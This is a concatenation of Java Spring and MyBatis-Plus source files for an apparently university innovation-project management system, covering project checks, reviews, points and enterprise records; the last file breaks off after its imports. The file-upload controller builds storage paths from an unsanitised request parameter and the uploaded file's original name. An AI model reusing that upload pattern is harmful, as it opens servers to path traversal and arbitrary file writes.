import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.BaseProjectStationEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:17
* @Version 1.0
*/
public interface BaseProjectStationService extends IService<BaseProjectStationEntity> {
PageUtils queryPage(Map<String, Object> params);
/**
* 统计工位数
* 参数:基地id
*/
Long queryStationNum(Long baseId);
/**
* 统计工位办公面积
*/
Double queryArea(Long stationId);
/**
* 通过stationId查baseId
*/
Long queryBaseId(Long stationId);
List<BaseProjectStationEntity> queryAll();
void hasApply(Long stationId);
void delApply(Long stationId);
}
<file_sep>package com.innovate.modules.check.service.impl;
import com.baomidou.mybatisplus.enums.SqlLike;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.check.dao.InnovateCheckInfoDao;
import com.innovate.modules.check.entity.*;
import com.innovate.modules.check.service.*;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import com.innovate.modules.declare.entity.DeclareInfoModel;
import com.innovate.modules.declare.service.DeclareInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
@Service("innovateCheckInfoService")
public class InnovateCheckInfoServiceImpl extends ServiceImpl<InnovateCheckInfoDao, InnovateCheckInfoEntity> implements InnovateCheckInfoService {
@Autowired
private DeclareInfoService declareInfoService;
@Autowired
private InnovateCheckAttachService innovateCheckAttachService;
@Autowired
private InnovateCheckRetreatService innovateCheckRetreatService;
@Autowired
private InnovateCheckAwardService innovateCheckAwardService;
@Autowired
private InnovateCheckReviewService innovateCheckReviewService;
private List<InnovateCheckInfoModel> innovateCheckInfoModels;
@Override
public PageUtils queryPage(Map<String, Object> params) {
Integer totalPage = baseMapper.queryCountPage(params);
Integer currPage = 1;
Integer pageSize = 10;
try {
if (params.get("currPage") != null && params.get("pageSize") != null) {
currPage = Integer.parseInt(params.get("currPage").toString());
pageSize = Integer.parseInt(params.get("pageSize").toString());
}
} catch (Exception e) {
e.printStackTrace();
}
Integer startPage = 0 + pageSize * (currPage - 1);
Integer endPage = pageSize;
params.put("startPage", startPage);
params.put("endPage", endPage);
List<InnovateCheckInfoEntity> innovateCheckInfoEntities = baseMapper.queryPage(params);
innovateCheckInfoModels = new LinkedList<>();
InnovateCheckInfoModel temp = null;
for (InnovateCheckInfoEntity info : innovateCheckInfoEntities) {
//值对象
temp = new InnovateCheckInfoModel();
temp.setInnovateCheckInfoEntity(info);
//对应大创
DeclareInfoEntity declareInfoEntity = declareInfoService.queryById(info.getDeclareId());
temp.setDeclareInfoEntity(declareInfoEntity);
//评委评分
Map<String,Object> map= new HashMap<>();
map.put("checkId", info.getCheckId());
List<InnovateCheckReviewEntity> innovateCheckReviewEntities = innovateCheckReviewService.queryAll(map);
temp.setInnovateCheckReviewEntities(innovateCheckReviewEntities);
//附件
List<InnovateCheckAttachEntity> innovateCheckAttachEntities = innovateCheckAttachService.queryByCheckId(info.getCheckId());
temp.setInnovateCheckAttachEntities(innovateCheckAttachEntities);
//奖项
List<InnovateCheckAwardEntity> innovateCheckAwardEntities = innovateCheckAwardService.queryAll(map);
temp.setInnovateCheckAwardEntities(innovateCheckAwardEntities);
//回退记录
innovateCheckInfoModels.add(temp);
}
return new PageUtils(innovateCheckInfoModels, totalPage, pageSize, currPage);
}
/**
* 通过id批量设置需要中期检查的项目
*
* @param checkIds
*/
@Override
public void saveByDeclareBatchIds(List<Long> checkIds) {
for (Long id : checkIds) {
InnovateCheckInfoEntity innovateCheckInfoEntity = new InnovateCheckInfoEntity();
innovateCheckInfoEntity.setInstituteId(declareInfoService.queryById(id).getInstituteId());
innovateCheckInfoEntity.setDeclareId(id);
this.insert(innovateCheckInfoEntity);
}
}
/**
* 通过年度批量设置需要中期检查的项目
* @param params
*/
@Override
public void saveByTime(Map<String,Object> params) {
String checkTime = params.get("checkTime").toString();
EntityWrapper ew = new EntityWrapper<>();
ew.setEntity(new DeclareInfoEntity());
//已经评分过的大创列表
ew.like("declare_time", checkTime, SqlLike.DEFAULT);
ew.eq("is_del",0);
ew.eq("audit_no_pass",0);
ew.isNotNull("declare_score_avg");
List<DeclareInfoEntity> declareInfoEntities = declareInfoService.selectList(ew);
for (DeclareInfoEntity declareInfoEntity : declareInfoEntities) {
InnovateCheckInfoEntity innovateCheckInfoEntity = new InnovateCheckInfoEntity();
innovateCheckInfoEntity.setInstituteId(declareInfoEntity.getInstituteId());
innovateCheckInfoEntity.setDeclareId(declareInfoEntity.getDeclareId());
this.insert(innovateCheckInfoEntity);
}
}
/**
* 审批
*
* @param params
*/
@Override
public void apply(Map<String, Object> params) {
String checkId = params.get("checkId").toString();
InnovateCheckInfoEntity innovateCheckInfoEntity = this.baseMapper.selectById(checkId);
Integer projectCheckApplyStatus = innovateCheckInfoEntity.getProjectCheckApplyStatus();
innovateCheckInfoEntity.setProjectCheckApplyStatus(++projectCheckApplyStatus);
this.updateById(innovateCheckInfoEntity);
}
@Override
public void save(InnovateCheckInfoModel innovateCheckInfoModel) {
innovateCheckInfoModel.getInnovateCheckInfoEntity().setCheckNoPass(0);
innovateCheckAttachService.insertOrUpdateBatch(innovateCheckInfoModel.getInnovateCheckAttachEntities());
if (innovateCheckInfoModel.getInnovateCheckAttachEntities() != null)
insertOrUpdate(innovateCheckInfoModel.getInnovateCheckInfoEntity());
if (innovateCheckInfoModel.getInnovateCheckRetreatEntities() != null)
innovateCheckRetreatService.insertOrUpdateBatch(innovateCheckInfoModel.getInnovateCheckRetreatEntities());
}
}<file_sep>package com.innovate.modules.common.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.config.ConfigApi;
import com.innovate.modules.innovate.entity.ProjectAttachEntity;
import com.innovate.modules.sys.controller.AbstractController;
import com.innovate.modules.util.FileUtils;
import com.innovate.modules.util.RandomUtils;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import java.util.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* @author spring
* email: <EMAIL>
* site: https://springbless.xin
* @description
* @date 2019/9/20
*/
@Slf4j
@RestController
@RequestMapping("/common/file/")
public class CommonFileController extends AbstractController {
/**
* 文件上传
* @param files
* @param request
* @return
*/
@PostMapping(value = "/uploadBat")
public R uploadFile(@RequestParam("file") List<MultipartFile> files, HttpServletRequest request){
List<Map<String,Object>> resilt = new ArrayList<>();
String projectName = request.getParameter("projectName");
String tempPath = "/" + RandomUtils.getRandomNums() + "/";
String UPLOAD_FILES_PATH = ConfigApi.UPLOAD_URL + projectName + tempPath;
if (Objects.isNull(files) || files.isEmpty()) {
return R.error("文件为空,请重新上传");
}
try {
for(MultipartFile file : files){
Map<String,Object> item = new HashMap<>();
String fileName = file.getOriginalFilename();
String result = FileUtils.upLoad(UPLOAD_FILES_PATH, fileName, file);
if (!result.equals("true")) {
item.put("code", 500);
}else{
item.put("code", 200);
}
tempPath += fileName;
item.put("url", tempPath);
logger.info("文件路径:{}", tempPath);
resilt.add(item);
}
} catch (IOException e) {
e.printStackTrace();
}
return R.ok().put("data",resilt);
}
/**
* 文件上传
* @param file
* @param request
* @return
*/
@PostMapping(value = "/upload")
public Object upload(@RequestParam("file") MultipartFile file, final HttpServletRequest request) {
try {
String projectName = request.getParameter("projectName");
if (projectName == null || "".equals(projectName)){
projectName = "innovate";
}
String tempPath = "/" + RandomUtils.getRandomNums() + "/";
String UPLOAD_FILES_PATH = ConfigApi.UPLOAD_URL + projectName + tempPath;
if (Objects.isNull(file) || file.isEmpty()) {
return R.error("文件为空,请重新上传");
}
String fileName = file.getOriginalFilename();
String result = FileUtils.upLoad(UPLOAD_FILES_PATH, fileName, file);
if (!result.equals("true")) {
return R.error(result);
}
logger.info("文件路径:{}", tempPath + fileName);
logger.info(fileName);
return R.ok("文件上传成功").put("data", UPLOAD_FILES_PATH + fileName);
} catch (IOException e) {
e.printStackTrace();
}
return R.error("文件上传失败");
}
}
<file_sep>package com.innovate.modules.points.dao;
import com.innovate.modules.points.entity.InnovateSysPointsEntity;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* 积分标准
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
@Mapper
public interface InnovateSysPointsDao extends BaseMapper<InnovateSysPointsEntity> {
int deleteList(List<Long> asList);
List selectPoints(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.finish.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.finish.entity.FinishInfoEntity;
import com.innovate.modules.finish.dao.FinishInfoDao;
import com.innovate.modules.finish.service.FinishInfoService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:35
* @Version 1.0
*/
@Service
public class FinishInfoServiceImpl extends ServiceImpl<FinishInfoDao, FinishInfoEntity> implements FinishInfoService {
@Override
public FinishInfoEntity queryById(Long finishId) {
return baseMapper.queryById(finishId);
}
@Override
public Integer queryCountPage(Map<String, Object> params) {
return baseMapper.queryCountPage(params);
}
@Override
public List<FinishInfoEntity> queryPage(Map<String, Object> params) {
return baseMapper.queryPage(params);
}
@Override
public List<FinishInfoEntity> noPass(Map<String, Object> params) {
return baseMapper.noPass(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.finish.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.finish.service.FinishSigningOpinionService;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Map;
/**
* @Program: innovate-admin-19-25
* @Author: 麦奇
* @Email: <EMAIL>
* @Create: 2019-02-06 00:24
* @Describe:
**/
@RestController
@RequestMapping("innovate/finish/signingopinion")
public class FinishSigningOpinionController {
@Autowired
private FinishSigningOpinionService finishSigningOpinionService;
/**
* 添加签署意见
* @param params
* @return
*/
@PostMapping("/save")
@RequiresPermissions("innovate:signingopinion:save")
public R addSigningOpinion(@RequestParam Map<String, Object> params){
finishSigningOpinionService.addSigningOpinion(params);
return R.ok();
}
/**
* 查询签署意见
* @param params
* @return
*/
@GetMapping("/info")
@RequiresPermissions("innovate:finish:info")
public R queryByDeclareId(@RequestParam Map<String, Object> params){
return R.ok().put("sighingOpinion",finishSigningOpinionService.queryFinishSigningOpinionByFinishId(params));
}
/**签署意见
* 删除
* @param params
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:signingopinion:delete")
public R remove(@RequestParam Map<String, Object> params){
finishSigningOpinionService.remove(params);
return R.ok();
}
}
<file_sep>package com.innovate.modules.points.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.points.entity.InnovateStudentActivityEntity;
import org.apache.ibatis.annotations.Mapper;
/**
*
*
* @author Mikey
* @email <EMAIL>
* @date 2020-11-10 13:11:17
*/
@Mapper
public interface InnovateStudentActivityDao extends BaseMapper<InnovateStudentActivityEntity> {
}
<file_sep>package com.innovate.modules.check.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import lombok.Data;
/**
* 中期检查附件表
*
* @author Mikey
* @email <EMAIL>
* @date 2019-09-18 22:20:42
*/
@Data
@TableName("innovate_check_attach")
public class InnovateCheckAttachEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 附件id
*/
@TableId
private Long attachId;
/**
* 中期检查外键
*/
private Long checkId;
/**
* 附件名称
*/
private String attachName;
/**
* 附件路径
*/
private String attachPath;
/**
*
*/
private Integer isDel;
}
<file_sep>package com.innovate.modules.finish.entity;
import java.io.Serializable;
import java.util.Date;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.innovate.modules.sys.entity.SysUserEntity;
import lombok.Data;
/**
*
*
* @author Mikey
* @email <EMAIL>
* @date 2019-10-16 22:02:23
*/
@Data
@TableName("innovate_finish_in_expert")
public class FinishInExpertEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* id
*/
@TableId
private Integer expertId;
/**
* 对应汇总表id
*/
private Integer expertCollectId;
/**
* 用户ID
*/
private String expertUserId;
/**
* 是否删除
*/
private Integer isDel;
@TableField(exist = false,el = "com.innovate.modules.sys.entity.SysUserEntity")
private SysUserEntity sysUserEntity;
}
<file_sep>package com.innovate.modules.match.entity;
import com.innovate.modules.innovate.entity.UserPersonInfoEntity;
import com.innovate.modules.innovate.entity.UserTeacherInfoEntity;
import lombok.Data;
import java.io.Serializable;
import java.util.List;
/**
* @author:tz
* @create:2018-11-08
**/
@Data
public class MatchInfoModel implements Serializable {
private MatchInfoEntity matchInfoEntity;
private List<UserPersonInfoEntity> userPersonInfoEntities;
private List<MatchTeacherEntity> matchTeacherEntities;
private List<UserTeacherInfoEntity> userTeacherInfoEntities;
private List<MatchAttachEntity> matchAttachEntities;
private List<MatchStaffInfoEntity> matchStaffInfoEntities;
private List<MatchAwardEntity> matchAwardEntities;
private List<MatchReviewEntity> matchReviewEntities;
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.InnovateReviewGroupEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@RestController
@RequestMapping("innovate/sys/group")
public class InnovateReviewGroupController extends AbstractController {
@Autowired
private InnovateReviewGroupService innovateReviewGroupService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:group:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateReviewGroupService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 所有列表
*/
@GetMapping("/all")
@RequiresPermissions("innovate:project:list")
public R all(){
List<InnovateReviewGroupEntity> innovateReviewGroupEntity = innovateReviewGroupService.queryAllGroup();
return R.ok().put("innovateReviewGroupEntity", innovateReviewGroupEntity);
}
/**
* 信息
*/
@GetMapping("/info/{groupId}")
@RequiresPermissions("innovate:group:info")
public R info(@PathVariable("groupId") Long groupId){
InnovateReviewGroupEntity group = innovateReviewGroupService.queryById(groupId);
return R.ok().put("group", group);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:group:save")
public R save(@RequestBody InnovateReviewGroupEntity innovateReviewGroupEntity){
innovateReviewGroupService.save(innovateReviewGroupEntity);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:group:update")
public R update(@RequestBody InnovateReviewGroupEntity innovateReviewGroupEntity){
innovateReviewGroupService.update(innovateReviewGroupEntity);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:group:delete")
public R delete(@RequestBody Long[] groupIds){
for (Long groupId: groupIds) {
innovateReviewGroupService.deleteById(groupId);
}
return R.ok();
}
}
<file_sep>package com.innovate.modules.declare.entity;
import com.baomidou.mybatisplus.annotations.TableName;
import com.innovate.modules.innovate.entity.UserPersonInfoEntity;
import com.innovate.modules.innovate.entity.UserTeacherInfoEntity;
import lombok.Data;
import java.io.Serializable;
import java.util.List;
/**
* @author:tz
* @create:2018-11-08
**/
@Data
@TableName(value = "innovate_declare_sighing_opinion")
public class DeclareInfoModel implements Serializable {
private DeclareInfoEntity declareInfoEntity;//大创项目
private List<UserPersonInfoEntity> userPersonInfoEntities;//负责人
private List<DeclareTeacherEntity> declareTeacherEntities;//教师
private List<UserTeacherInfoEntity> declareUserTeacherInfoEntities;//教师用户
private List<DeclareAttachEntity> declareAttachEntities;//附件
private List<DeclareAttachEntity> delAttachLists;//删除附件
private List<DeclareStaffInfoEntity> declareStaffInfoEntities;//员工
private List<DeclareReviewEntity> declareReviewEntities;//回退
private List<DeclareAwardEntity> declareAwardEntities;//获奖
}
<file_sep>package com.innovate.modules.points.entity;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.innovate.modules.sys.entity.SysUserEntity;
import lombok.Data;
/**
* 学生积分申请表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:45:59
*/
@Data
@TableName("innovate_student_points_apply")
public class InnovateStudentPointsApplyEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
private Long integralApplyId;
/**
* 积分标准id
*/
private Long sysPointsId;
/**
* 申请人
*/
private Long applyUserId;
/**
* 申请人学号
*/
private String stuNum;
/**
* 申请时间
*/
private Date applyTime;
/**
* 是否删除
*/
private Integer isDel;
/**
* 是否删除
*/
private Integer applyStatus;
/**
* 申请积分
*/
private Long applyIntegral;
/**
* 申请积分
*/
private Long instituteId;
/**
* 参与人类别(1:负责人,2参与成员)
*/
private Integer persionType;
/**
* 奖项等级
*/
private String prizeGrade;
/**
* 比赛级别(等级、项目)
*/
private String raceGrade;
/**
* 备注
*/
private String remark;
/**
* 申请类型
*/
private String participateType;
// 用户信息
@TableField(exist = false)
private SysUserEntity userEntity;
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.match.dao.MatchRetreatDao;
import com.innovate.modules.match.entity.MatchInfoEntity;
import com.innovate.modules.match.entity.MatchRetreatEntity;
import com.innovate.modules.match.service.MatchInfoService;
import com.innovate.modules.match.service.MatchRetreatService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@Service
public class MatchRetreatServiceImpl extends ServiceImpl<MatchRetreatDao, MatchRetreatEntity> implements MatchRetreatService {
@Autowired
private MatchRetreatService matchRetreatService;
@Autowired
private MatchInfoService innovateMatchInfoService;
@Override
public void updateRetreat(Map<String, Object> params) {
Long matchId = Long.parseLong(params.get("matchId").toString());
String apply = params.get("apply").toString();
Long userId = Long.parseLong(params.get("userId").toString());
String option = params.get("option").toString();
//项目中的流程值
Long applyStatus = Long.parseLong(params.get("applyStatus").toString());
MatchRetreatEntity matchRetreatEntity = new MatchRetreatEntity();
matchRetreatEntity.setMatchId(matchId);
matchRetreatEntity.setApply(apply);
matchRetreatEntity.setRetreatOption(option);
matchRetreatEntity.setUserId(userId);
matchRetreatEntity.setApplyStatus(applyStatus);
matchRetreatService.insert(matchRetreatEntity);
//
MatchInfoEntity matchInfo = innovateMatchInfoService.selectById(matchId);
switch (apply) {
case "project_match_apply_status":
matchInfo.setMatchNoPass(1L);
break;
}
innovateMatchInfoService.updateAllColumnById(matchInfo);
}
@Override
public List<MatchRetreatEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.service.ProjectApplyService;
import com.innovate.modules.sys.controller.AbstractController;
import com.innovate.modules.sys.entity.SysRoleEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title: 审核
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/project/apply")
public class ProjectApplyController extends AbstractController {
@Autowired
private ProjectApplyService projectApplyService;
/**
* 审核(状态修改)
* @param
* @return
*/
@PostMapping("/apply")
@RequiresPermissions("innovate:project:info")
public R apply(@RequestParam Map<String, Object> params){
projectApplyService.apply(params);
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.innovate.entity.BaseInfoEntity;
import com.innovate.modules.innovate.service.BaseInfoService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Arrays;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 20:54
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/base/info")
public class BaseInfoController extends AbstractController {
@Autowired
private BaseInfoService baseInfoService;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:baseInfo:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = baseInfoService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 通过id获取详细信息
* @param baseInfoId
* @return
*/
@GetMapping("/info/{baseInfoId}")
@RequiresPermissions("innovate:baseInfo:info")
public R info(@PathVariable("baseInfoId") Integer baseInfoId){
BaseInfoEntity baseInfo = baseInfoService.selectById(baseInfoId);
return R.ok().put("baseInfo", baseInfo);
}
/**
* 保存
* @param innovateBaseInfo
* @return
*/
@PostMapping("/save")
@RequiresPermissions("innovate:baseInfo:save")
public R save(@RequestBody BaseInfoEntity innovateBaseInfo){
baseInfoService.insert(innovateBaseInfo);
return R.ok();
}
/**
* 修改
* @param innovateBaseInfo
* @return
*/
@PostMapping("/update")
@RequiresPermissions("innovate:baseInfo:update")
public R update(@RequestBody BaseInfoEntity innovateBaseInfo){
BaseInfoEntity baseInfo = baseInfoService.selectById(innovateBaseInfo.getBaseId());
baseInfo.setBaseName(innovateBaseInfo.getBaseName());
baseInfo.setBaseMessage(innovateBaseInfo.getBaseMessage());
baseInfoService.updateAllColumnById(baseInfo);
return R.ok();
}
/**
* 删除
* @param baseInfoIds
* @return
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:baseInfo:delete")
public R delete(@RequestBody Long[] baseInfoIds){
baseInfoService.deleteBatchIds(Arrays.asList(baseInfoIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.finish.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @Program: innovate-admin
* @Author: 麦奇
* @Email: <EMAIL>
* @Create: 2019-02-05 22:54
* @Describe: 签署意见
**/
@Data
@TableName("innovate_finish_signing_opinion")
public class FinishSigningOpinionEntity implements Serializable {
@TableId
private Long signingOpinionsId;
private Long finishId;
private Long userId;
private String signingOpinion;
private Date signingOpinionTime;
private Integer isDel;
private Integer optionPersonType;
}
<file_sep>package com.innovate.modules.innovate.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/12/4
**/
@Data
@TableName("innovate_project_teacher")
public class ProjectTeacherEntity {
@TableId
private Long projectTeacherId;
private Long projectId;
private Long userId;
private Long isDel;
}
<file_sep>package com.innovate.modules.enterprise.utility;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.mapper.Wrapper;
import java.util.Map;
//导出权限判断
public class ExportShiro<T> {
public EntityWrapper<T> queryExport(Map<String, Object> params, EntityWrapper<T> wrapper){
//企业名称 搜索信息
Object enterpriseName = params.get("enterpriseName");
//入驻时间 搜索信息
Object settledTime = params.get("settledTime");
//获奖时间 搜索信息
Object awardTime = params.get("awardTime");
//用户id
Object userId = params.get("enterpriseUserId");
//学院id
Object instituteId = params.get("instituteId");
wrapper.eq("is_del", 0)
.eq("apply_status",params.get("apply_status"));
if (userId!=null ){ //空为管理员 不执行
if (instituteId!=null){ //非空 二级学院管理员
wrapper.eq("institute_id", instituteId.toString());
}else { //无管理权限 只获取自己得信息
wrapper.eq("enterprise_user_id", userId.toString());
}
}
if (enterpriseName != null && !"".equals(enterpriseName)){ //根据企业名称搜索
wrapper.like("enterprise_name" , enterpriseName.toString());
}
if (settledTime != null && !"".equals(settledTime)){ //根据入驻时间搜索
wrapper.where("YEAR(settled_time)={0}" , settledTime.toString());
}
if (awardTime != null && !"".equals(awardTime)){ //根据获奖时间搜索
wrapper.where("YEAR(award_time)={0}" , awardTime.toString());
}
return wrapper;
}
}
<file_sep>package com.innovate.modules.finish.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.modules.finish.entity.FinishReviewEntity;
import com.innovate.modules.finish.service.FinishReviewService;
import com.innovate.modules.match.entity.MatchUnScoreTeacherEntity;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/finish/review")
public class FinishReviewController extends AbstractController {
@Autowired
private FinishReviewService finishReviewService;
/**
* 分配评委组绑定用户
*/
@PostMapping("/review")
@RequiresPermissions("innovate:finish:list")
public R review(@RequestBody Map<String,Object> params){
finishReviewService.reviewUser(params);
return R.ok();
}
/**
* 评分
*/
@PostMapping("/score")
@RequiresPermissions("innovate:finish:list")
public R score(@RequestBody(required = false) FinishReviewEntity finishReviewEntity){
finishReviewService.score(finishReviewEntity);
return R.ok();
}
/**
* 查询评分
*/
@GetMapping("/info")
@RequiresPermissions("innovate:finish:list")
public R info(@RequestParam Map<String,Object> params){
FinishReviewEntity finishReviewEntity = finishReviewService.queryScore(params);
return R.ok().put("finishReviewEntity",finishReviewEntity);
}
/**
* 查询未评分评委
*/
@GetMapping("/noScoreTeacher")
@RequiresPermissions("innovate:finish:list")
public R unReviewTeacher(@RequestParam Map<String,Object> params){
List<MatchUnScoreTeacherEntity> noScoreTeacher = finishReviewService.queryTeacher(params);
return R.ok().put("noScoreTeacher", noScoreTeacher);
}
/**
* 查询未评分
*/
@GetMapping("/unReview")
@RequiresPermissions("innovate:finish:list")
public R unReview(@RequestParam Map<String,Object> params){
PageUtils page = finishReviewService.unReview(params);
return R.ok().put("page",page);
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:finish:list")
public R update(@RequestBody FinishReviewEntity finishReviewEntity){
finishReviewService.updateAllColumnById(finishReviewEntity);
return R.ok();
}
}
<file_sep>package com.innovate.modules.innovate.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.BaseCostEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:04
* @Version 1.0
*/
public interface BaseCostService extends IService<BaseCostEntity> {
PageUtils queryPage(Map<String, Object> params);
List<BaseCostEntity> list(Long baseId);
}
<file_sep>package com.innovate.modules.enterprise.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.enterprise.entity.InnovateAwardProjectTypeEntity;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseProjectEntity;
import java.util.List;
import java.util.Map;
/**
* 企业获奖项目类型
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:31
*/
public interface InnovateAwardProjectTypeService extends IService<InnovateAwardProjectTypeEntity> {
PageUtils queryPage(Map<String, Object> params);
//导出
List<InnovateAwardProjectTypeEntity> queryListByIds(List<Long> awardProjectTypeIds);
}
<file_sep>package com.innovate.modules.enterprise.service.impl;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseProjectEntity;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.enterprise.dao.InnovateAwardProjectTypeDao;
import com.innovate.modules.enterprise.entity.InnovateAwardProjectTypeEntity;
import com.innovate.modules.enterprise.service.InnovateAwardProjectTypeService;
@Service("innovateAwardProjectTypeService")
public class InnovateAwardProjectTypeServiceImpl extends ServiceImpl<InnovateAwardProjectTypeDao, InnovateAwardProjectTypeEntity> implements InnovateAwardProjectTypeService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
Object awardProjectType = params.get("award_project_type");
EntityWrapper<InnovateAwardProjectTypeEntity> wrapper = new EntityWrapper<>();
if (!"".equals(awardProjectType)){
wrapper.like("award_project_type",awardProjectType.toString());
}
Page<InnovateAwardProjectTypeEntity> page = this.selectPage(
new Query<InnovateAwardProjectTypeEntity>(params).getPage(),
wrapper
);
return new PageUtils(page);
}
@Override
public List<InnovateAwardProjectTypeEntity> queryListByIds(List<Long> awardProjectjTypeIds) {
return awardProjectjTypeIds.size()>0 ? this.selectBatchIds(awardProjectjTypeIds): this.selectList(null);
}
}
<file_sep>package com.innovate.modules.innovate.controller;
import com.google.gson.Gson;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
